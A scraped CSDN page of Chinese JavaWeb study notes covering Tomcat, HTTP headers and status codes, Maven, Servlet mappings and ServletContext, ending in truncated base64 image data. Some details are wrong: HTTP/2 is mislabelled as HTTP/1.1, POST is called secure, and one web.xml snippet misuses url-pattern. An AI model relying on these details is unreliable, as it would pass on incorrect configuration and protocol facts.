u8服务器上apache有用吗_服务器本身有apache用宝塔在安装apache会有影响吗 - CSDN
精华内容
参与话题
  • JavaWeb

    千次阅读 2020-01-14 19:23:12
    JavaWeb Java. web 1. 基本概念 1.1 前言 web开发: ... ...提供给所有人看的数据始终不会发生变化!...提供给所有人看的数据始终会发生变化,每个人在不同的时间,不同的地点看到的信息各不相同!...技术栈:Servlet/JSP,ASP...

    JavaWeb

    Java. web

    1. 基本概念

    1.1 前言

    web开发:

    • web:网页的意思 www.baidu.com

    • 静态web

      • html. Css
      • 提供给所有人看的数据始终不会发生变化!
    • 动态web

      • 淘宝等,几乎是所有的网站!

      • 提供给所有人看的数据始终会发生变化,每个人在不同的时间,不同的地点看到的信息各不相同!

      • 技术栈:Servlet/JSP,ASP,PHP

    在java中,动态web资源开发的技术统称为JavaWeb

    1.2 web应用程序

    web应用程序:可以提供浏览器访问的程序;

    • a.html,b.html…多个web资源,这些web资源可以被外界访问,对外界提供服务;
    • 你们能访问到的任何一个页面或者资源,都存在于这个世界的某一个角落的计算机上;
    • URL
    • 这个统一的web资源会被放在同一个文件夹下,web应用程序,依赖于Tomcat:服务器;
    • 一个web应用由多部分组成:静态web,动态web;
      • Html, css,js
      • Jsp,servlet
      • java程序
      • jar包
      • 配置文件(properties)

    web应用程序编写完毕后,若想提供给外界访问,需要一个服务器来统一管理;

    1.3 静态web

    • *.htm , *.html 这些都是网页的后缀,如果服务器上一直存在这些东西,我们就可以直接进行读取,(网络);

    • 静态web存在的缺点:

      • web页面无法动态更新,所有用户看到的都是同一个页面

      • 轮播图,点击特效:伪动态

      • javaScript(实际开发中用的多)

      • VBScript

      • 它无法和数据库交互(数据无法持久化,用户无法交互)

    1.4 动态web

    页面会动态展示:“web展示的效果因人而异!”

    缺点:

    • 假如服务器的动态web资源出现了错误,我们需要重新编写我们的后台程序,重新发布;
      • 重新发布=停机维护

    优点:

    • web页面可以动态更新,所有用户看到的都不是同一个页面

    • 它可以和数据库交互(数据可以持久化:注册,商品信息可以存在数据库…,用户可以交互)

    2、web服务器

    2.1、技术讲解

    ASP:

    • 微软:国内最早流行的就是ASP
    • 在html中嵌入了VB的脚本:ASP+DOM;
    • 在ASP开发中,基本一个页面都有几千行的业务代码,页面极其混乱(html和java写在一起)
    • 维护成本高!
    • C#
    • IIS

    PHP

    • PHP开发速度很快,功能很强大,跨平台,代码很简单(70%,WP)
    • 无法承载大访问量的情况(局限性)

    JSP/Servlet:

    B/S:浏览器和服务器

    C/S:客户端和服务器

    • sun公司主推的B/S架构
    • 基于java语言的(所有的大公司,或者一些开源的组件,都是用Java写的)
    • 可以承载三高问题带来的影响;
    • 语法像ASP,方便ASP转JSP,加强市场强度;

    2.2、web服务器

    服务器是一种被动的操作,用来处理用户的请求和给用户一些响应信息;

    iis:

    微软的;ASP,,windows中自带

    Tomcat:

    Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现因为Tomcat 技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为目前比较流行的Web 应用服务器。

    Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。对于一个初学者来说,他是最佳的选择。

    而Tomcat 实际上运行JSP 页面和Servlet。目前Tomcat最新版本为9.0.30。

    3、Tomcat

    3.1、Tomcat官网

    https://tomcat.apache.org

    3.2、Tomcat的启动和配置

    启动Tomcat: /Users/mac/Library/tomcat/bin/startup.sh

    关闭Tomcat: /Users/mac/Library/tomcat/bin/shutdown.sh

    可能遇到的问题:

    1. java环境变量没有配置
    2. 闪退问题:
    3. 乱码问题:

    3.3、配置

    可以配置启动的端口号;

    • tomcat的默认端口号:8080

    • mysql:3306

    • http:80

    • https:443

    可以配置主机的名称:

    • 默认的主机名为:localhost–>127.0.0.1
    • 默认网站应用存放的位置为:webapps

    高难度面试题

    请你谈谈网站是如何进行访问的:

    1. 输入一个域名:回车
    2. 检查本机的hosts配置文件下有没有这个域名的映射;
      1. 有:直接返回对应的ip地址,这个地址中有我们需要访问的web程序,可以直接访问
      2. 没有:去DNS(全世界的域名都在这里管理)服务器找,找到的话就返回找到,找不到就返回找不到…

    3.4、发布一个web网站

    不会就先模仿!

    • 将自己写的网站,放到服务器(Tomcat)中指定的web应用的文件夹(webapps)下,就可以访问了

    • 网站应有的结构:

      --webapps : Tomcat服务器的web目录
        -ROOT
        -kuangstudy : 网站的目录名
          -WEB-INF
          	-classes:java程序
            -lib : web应用所依赖的jar包
            -web.xml:网站的配置文件
          -index.html :默认的首页
          -static
            -css
            	-style.css
            -js
            -img
         -......
      

    HTTP协议:面试

    Maven:构建工具

    • maven安装包

    Servlet入门

    • HelloWorld
    • Severlet配置
    • 原理

    4、Http

    4.1 什么是Http

    http(超文本传输协议)是一个简单的请求-响应协议,它通常运行在TCP之上。

    • 文本:html,字符串,,,,
    • 超文本:图片,音乐,视频,定位,地图。。。
    • 默认端口:80

    Https:(加密)

    • 默认端口:443

    4.2、两个时代

    • Http1.0
      • HTTP/1.0:客户端可以与web服务器连接后,只能获得一个web资源,断开连接。
    • Http2.0
      • HTTP/1.1:客户端可以与web服务器连接后,可以获得多个web资源。

    4.3、Http请求

    • 客户端–>发请求(Request)–>服务器

      Request URL:https://ss1.bdstatic.com/5eN1bjq8AAUYm2zgoY3K/r/www/cache/static/protocol/https/home/js/nu_instant_search_baaa58d.js   //请求地址
      Request Method: GET   //get方法/post方法
      Status Code: 200  (from memory cache)  //状态码:200
      Remote(远程) Address: 183.201.233.32:443  //
      
      :authority: dss3.baidu.com
      :method: GET
      :path: /-rVXeDTa2gU2pMbgoY3K/it/u=701675230,3439008724&fm=202&mola=new&crop=v1
      :scheme: https
      accept: image/webp,image/apng,image/*,*/*;q=0.8
      accept-encoding: gzip, deflate, br
      accept-language: zh-CN,zh;q=0.9
      cookie: BIDUPSID=25FC099492B03BC6D724B99139BE7C00; PSTM=1574690755; BAIDUID=25FC099492B03BC6B769B03C4B7F8EF7:FG=1; delPer=0; H_PS_PSSID=1454_21108_30211_30283_26350_22157; PSINO=1
      referer: https://www.baidu.com/s?ie=utf-8&f=8&rsv_bp=1&rsv_idx=1&tn=baidu&wd=java&rsv_pq=a7b71db0000a86e7&rsv_t=d954LlVjnwQ%2F%2BDdfHsZNPH%2FZwioIqTxTYlQFPza0gJLxtdOChA9trFVS%2BbA&rqlang=cn&rsv_enter=1&rsv_dl=tb&rsv_sug3=5&rsv_sug1=3&rsv_sug7=101&rsv_sug2=0&inputT=1681&rsv_sug4=2717
      sec-fetch-mode: no-cors
      sec-fetch-site: same-site
      user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
      

      1、请求行

      • 请求行中的请求方式:GET
      • 请求方式:Get、Post、Head、Delete、Put、Tract
        • get:请求能够携带的参数比较小,大小有限制,会在浏览器的URL地址栏显示数据内容,不安全,但高效。
        • post:请求能够携带的参数没有限制,大小有没有限制,不会在浏览器的URL地址栏显示数据内容,安全,但不高效。

      2、消息头

      Accept:告诉浏览器,他所支持的数据类型
      Accept-Encoding:支持哪种编码格式  :GBK UTGF-8 GB2312 ISO8859-1
      Accept-language:告诉浏览器,他的语言环境
      Cache-Control:缓存控制
      Connection:告诉浏览器,请求完成是断开还是保持连接
      HOST:主机
      ..........
      

    4.4、Http响应

    • 服务器–>发请求–>客户端
    cache-control: max-age=315360000  //缓存控制
    Connection:keep-Alive  //连接
    content-encoding: gzip    //编码
    Content-Type:text/html   //类型
    

    1、响应体

    Accept:告诉浏览器,他所支持的数据类型
    Accept-Encoding:支持哪种编码格式  :GBK UTGF-8 GB2312 ISO8859-1
    Accept-language:告诉浏览器,他的语言环境
    Cache-Control:缓存控制
    Connection:告诉浏览器,请求完成是断开还是保持连接
    HOST:主机
    ..........
    reFresh:告诉客户端,多久刷新一次
    Location:让网页重新定位
    

    2、响应状态码

    200:请求响应成功。200

    3xx:请求重定向

    • 重定向:你重新到我指定的新位置;

    4xx:找不到资源。404

    • 资源不存在

    5xx:服务器代码错误。500

    502:网关错误

    常见面试题:

    当你的浏览器中地址栏输入地址并回车的一瞬间到页面能够展示回来,经历了什么?

    5、Maven

    我为什么要学习这个技术?

    1. 在Javaweb中,需要使用大量的jar包,我们需要手动导入;

    2. 如何能够让一个东西能够帮我们自动导入和配置这个jar包;

      由此,Maven诞生!

    5.1、Maven项目架构管理工具

    我们目前用它来就是方便导入jar包的!

    Maven的核心思想:约定大于配置

    • 有约束,不要去违反

    Maven会规定好你该如何去编写我们的Java代码,必须按这个规范来

    5.2、Maven下载

    官网:https://maven.apache.org

    安装和配置请自行百度

    maven由于他的约定大于配置,我们之后可能遇到我们写的配置文件,无法导出或者生效问题,解决方案:

    //在build中配置resource,来防止资源导出失败的问题
    <build>  
        <finalName>test</finalName>  
        <!--  
        这样也可以把所有的xml文件,打包到相应位置。  
        <resources>  
            <resource>  
                <directory>src/main/resources</directory>  
                <includes>  
                    <include>**/*.properties</include>  
                    <include>**/*.xml</include>  
                    <include>**/*.tld</include>  
                </includes>  
                <filtering>false</filtering>  
            </resource>  
            <resource>  
                <directory>src/main/java</directory>  
                <includes>  
                    <include>**/*.properties</include>  
                    <include>**/*.xml</include>  
                    <include>**/*.tld</include>  
                </includes>  
                <filtering>false</filtering>  
            </resource>  
        </resources>  
    </build>  
    

    6、Servlet

    6.1 servlet简介

    • Servlet就是sun公司开发动态web的一门技术
    • sun公司在这些API中提供了一个接口叫做:Servlet,如果你想开发一个Servlet程序,只需要完成两个小步骤:
      • 编写一个类,实现Servlet接口
      • 把开发好的java类部署到web服务器中

    把实现了Servlet接口的Java程序,叫做Servlet

    6.2、HelloServlet

    Servlet接口在Sun公司有两个默认的实现类:HttpServlet、GenericServlet

    1. 构建一个普通的maven项目,删掉里面的src目录,以后我们的学习就在这个项目里面建立Model;这个空的工程就叫做Maven的主工程

    2. 关于Maven父子工程的理解:

      父项目中会有:

       <modules>
              <module>Servlet-02</module>
          </modules>
      

      子项目中会有:

      		<parent>
              <artifactId>javaweb-02-Servlet</artifactId>
              <groupId>com.yuan</groupId>
              <version>1.0-SNAPSHOT</version>
          </parent>
      

      父项目中的jar包,子项目可以直接使用

      son extends father//类似于java的多态
      
      1. Maven环境优化

        1. 修改web.xml为最新的
        2. 将Maven的结构搭建完整
      2. 编写一个Servlet程序

        1. 编写一个普通类

        2. 实现Servlet接口,这里我们直接继承HttpServlet

          public class HelloServlet extends HttpServlet {
          
              //由于get或者post只是请求实现的不同方式,可以相互调用,业务逻辑都一样
          
          
              @Override
              protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
                  //ServletOutputStream outputStream = resp.getOutputStream();
                  PrintWriter writer = resp.getWriter();//响应流
                  writer.println("Hello Servlet");
              }
          
              @Override
              protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
                  super.doPost(req, resp);
              }
          }
          
          
      3. 编写Servlet的映射

        为什么需要映射:我们写的是java程序,但是需要通过浏览器访问,而浏览器需要连接web服务器,所以我们需要在web服务中注册我们写的Servlet,还需要给他一个浏览器能够访问的路径;

      4. 配置Tomcat

        注意:配置项目的发布路径就可以了

      5. 启动测试

    6.3、Servlet原理

    Servlet是由web服务器调用,web服务器在收到浏览器请求之后,进行一系列转化…用到service方法…

    我们自己编写的实现类,重写这些方法:

    1. 接收并处理请求
    2. 给出响应的信息

    6.4、Mapping问题

    1. 一个Servlet请求可以指定一个映射路径

      <servlet-mapping>
      	<servlet-name>hello</servlet-name>
        <url-pattern>/hello</url-pattern>
      </servlet-mapping>	
      
    2. 一个Servlet请求可以指定多个映射路径

      <servlet-mapping>
      	<servlet-name>hello</servlet-name>
        <url-pattern>/hello</url-pattern>
      </servlet-mapping>	
      <servlet-mapping>
      	<servlet-name>hello</servlet-name>
        <url-pattern>/hello1</url-pattern>
      </servlet-mapping>	
      <servlet-mapping>
      	<servlet-name>hello</servlet-name>
        <url-pattern>/hello2</url-pattern>
      </servlet-mapping>	
      <servlet-mapping>
      	<servlet-name>hello</servlet-name>
        <url-pattern>/hello3</url-pattern>
      </servlet-mapping>	
      
    3. 一个Servlet请求可以指定通用映射路径

      <servlet-mapping>
      	<servlet-name>hello</servlet-name>
        <url-pattern>/hello/*</url-pattern>
      </servlet-mapping>	
      
    4. 默认请求路径(会把首页给覆盖)

      <servlet-mapping>
      	<servlet-name>hello</servlet-name>
        <url-pattern>/*</url-pattern>
      </servlet-mapping>	
      
    5. 指定一些后缀或者前缀等等…

      <servlet-mapping>
      	<servlet-name>hello</servlet-name>
        <url-pattern>*.do</url-pattern>  //*前面不能加映射的路径"/" 
      </servlet-mapping>	
      
      1. 优先级问题:

      指定了固有的映射路径优先级最高,如果找不到就会去走默认的处理请求;

    //404
    <servlet>
    	<servlet-name>error</servlet-name>
      <url-pattern>com.yuan.servlet.ErrorServlet</url-pattern>  //*前面不能加映射的路径"/" 
    </servlet>	
    <servlet-mapping>
    	<servlet-name>error</servlet-name>
      <url-pattern>/*</url-pattern>  //*前面不能加映射的路径"/" 
    </servlet-mapping>	
    

    6.5、ServletContext

    1.1. 介绍

    ServletContext官方叫servlet上下文。服务器会为每一个工程创建一个对象,这个对象就是ServletContext对象。这个对象全局唯一,而且工程内部的所有servlet都共享这个对象。所以叫全局应用程序共享对象。

    img

    1.2. 作用

    1.  是一个域对象
      
    2.  可以读取全局配置参数
      
    3.  可以搜索当前工程目录下面的资源文件
      
    4.  可以获取当前工程名字(了解)
      

    1.2.1. servletContext是一个域对象

    1.2.1.1. 域对象介绍

         域对象是服务器在内存上创建的存储空间,用于在不同动态资源(servlet)之间传递与共享数据。
    

    1.2.1.2. 域对象方法

    凡是域对象都有如下3个方法:

    setAttribute(name,value);//name是String类型,value是Object类型;   往域对象里面添加数据,添加时以key-value形式添加
    getAttribute(name);  //根据指定的key读取域对象里面的数据
    removeAttribute(name);  //根据指定的key从域对象里面删除数据
    

    1.2.1.3. 域对象功能代码

    域对象存储数据AddDataServlet代码

    /**
          * doGet
          */
         publicvoid doGet(HttpServletRequest request, HttpServletResponse response)
                  throws ServletException, IOException {
             //往serlvetContext里面存数据
            
             //1.获取ServletContext对象
             //getServletContext()
             //2.往对象里面设置数据
             getServletContext().setAttribute("username", "admin");
            
             response.getOutputStream().write("用户名写入到servletContext成功".getBytes());
         }
    ————————————————
    
    原文链接:https://blog.csdn.net/qq_36371449/article/details/80314024
    

    获取域对象数据GetDataServlet代码

    /**
          * doGet
          */
         publicvoid doGet(HttpServletRequest request, HttpServletResponse response)
                  throws ServletException, IOException {
            
             //获取ServletContext里面的用户名数据
             Object valueObject = getServletContext().getAttribute("username");
             if(valueObject!=null){
                  response.getOutputStream().write(("从servletContext读取到的用户名数据:"+valueObject.toString()).getBytes());
             }
     
         }
    ————————————————
    原文链接:https://blog.csdn.net/qq_36371449/article/details/80314024
    

    servletContext存储数据特点:

    全局共享,里面的数据所有动态资源都可以写入和获取

         服务器启动的时候创建,服务器关闭的时候销毁,因为这是全局应用程序对象,全局共享对象。
    

    1.2.2. 可以读取全局配置参数

    1.2.2.1. servletContext读取全局参数核心方法

         getServletContext().getInitParameter(name);//根据指定的参数名获取参数值
    
    getServletContext().getInitParameterNames();//获取所有参数名称列表
    

    1.2.2.2. 实现步骤:

    1.  在web.xml中配置全局参数
      
    <!-- 全局配置参数,因为不属于任何一个servlet,但是所有的servlet都可以通过servletContext读取这个数据 -->
      <context-param>
             <param-name>param1</param-name>
             <param-value>value1</param-value>
      </context-param>
       <context-param>
             <param-name>param2</param-name>
             <param-value>value2</param-value>
      </context-param>
     
    ————————————————
    
    原文链接:https://blog.csdn.net/qq_36371449/article/details/80314024
    
    1.  在动态资源servlet里面使用servletcontext读取全局参数代码
      
        public void doGet(HttpServletRequest request, HttpServletResponse response)
                        throws ServletException, IOException {
              
               //使用servletContext读取全局配置参数数据
               //核心方法
               /*getServletContext().getInitParameter(name);//根据指定的参数名获取参数值
               getServletContext().getInitParameterNames();//获取所有参数名称列表*/
              
               //打印所有参数
               //1.先获取所有全局配置参数名称
               Enumeration<String> enumeration =  getServletContext().getInitParameterNames();
               //2.遍历迭代器
               while(enumeration.hasMoreElements()){
                        //获取每个元素的参数名字
                        String parameName = enumeration.nextElement();
                        //根据参数名字获取参数值
                        String parameValue = getServletContext().getInitParameter(parameName);
                        //打印
                        System.out.println(parameName+"="+parameValue);
               }
             }
    ————————————————
    
    原文链接:https://blog.csdn.net/qq_36371449/article/details/80314024
    

    1.2.3. 可以搜索当前工程目录下面的资源文件

    1.2.3.1. 核心方法

         getServletContext().getRealPath(path)//,根据相对路径获取服务器上资源的绝对路径
    
         getServletContext().getResourceAsStream(path)//,根据相对路径获取服务器上资源的输入字节流
    

    1.2.4. 可以获取当前工程名字

    1.2.4.1. 核心方法

         getServletContext().getContextPath()//作用:获取当前工程名字
    

    1.2.4.2. 代码

    publicvoid doGet(HttpServletRequest request, HttpServletResponse response)
                throws ServletException, IOException {
           
            //获取工程名字,getServletContext().getContextPath()
            response.getOutputStream().write(("工程名字:"+getServletContext().getContextPath()).getBytes());
     
        }
    
    
    原文链接:https://blog.csdn.net/qq_36371449/article/details/80314024
    

    6.6、HttpServletResponse

    参考博客:https://www.cnblogs.com/xdp-gacl/p/3789624.html

    参考博客:https://www.jianshu.com/p/8bc6b82403c5

    web服务器接收到客户端的http请求,会针对这个请求分别创建一个代表请求的HttpServletRequest对象,和一个代表响应的HttpServletResponse对象;

    • 如果要获取客户端请求过来的参数:找HttpServletRequest
    • 如果要给客户端响应一些信息:找HttpServletResponse

    1、简单分类

    负责向浏览器发送数据的方法:

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EFy4czVk-1579000970415)(data:image/png;base64,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)]

    负责向浏览器发送响应头的方法:

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kkmK1Q2v-1579000970416)(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAycAAAC2CAIAAABMGWWFAAAcCElEQVR4nO2dzZnjqBaGics5dBqOZhZedAAdhRcTQ2fgBO6yMtBdVJVHBZzDB0IIy+/71FODEJwfhOCz1K4Jy2R8fHz8+fPn6CgAAAAAOhM+AAAAAGB/wp/J+Pj4ODoEAAAAgP6Eox+2xXzwhhEAAADOCKoLAAAAYASoLgAAAIARoLoAAAAARoDqAgAAABjBYNX1uF0ut8e65n4NP2pQXQAAAHBKjn/W9bhdUV0AAABwelBdb0EIx19ogCJMVAA4Nz3XuPs1hHC5PR63SwiX22N53C4hfNatz381/z67+Q1juP79/HHqn+Vsy+08Lf/z7/96OeoVbXYn23t7C9/s6iXy1ezuTJv9yJFfe+xorZcpAIDZ6LvAfT23etxu92V53C7X+7r6R2m5Xz/PdnnWZamTdX2kwLaYLTbupe32U11jGOB67cIqvyGD0y+60+N58wsHAOem9wJ3v17vX3pqWtXltBfNFhvPo7qO3cMGq67BrmfmdVVXbWMAgBei++q2/pZi7g1jCCF8y63L97uQ1TvGrOqy3tlZ7w2z9Y4qshorfqNK0f72vKLKX78feVPJBpZ9AxVVrg+dU0WK3iMv2Za1O3r4SVQf+RKb6SEp3f04s1HVMmzkrQHckuaWxAEAZma61S1VXYpy2qOcHip9dbXXPc780z7hUVC2rFc6pLts1mZqP+vRd+T4cppZcW4Jye+eVq5/Wy1rGTDyVTPEl1bKtQMAOAHTrW7WG8b91IxlP9ssaqn70h93Ndj5fNaVGU1NdT1rsttw2lh8EGJ5VxzVqq5izL41UaOIIelDZ6muNb4vJQYrpGFpZq05aaK6AOCsTLe6OW8Y14WOZct+euhU6r665JXa2ai6nJ1YaWnhPOFQno7U7r67qi49pOLznqLqKrqoiqEYRlrum2YaT7ZGOQUA8NJMt7oNeMPoSKta1TVDeXFV1yLoD7+sbK5dniFZleuz/ua9q+rSpUBtmo7qUga5GENDSLUuFCWndK8KAADg5ZhugSv+a3rlpVta77zj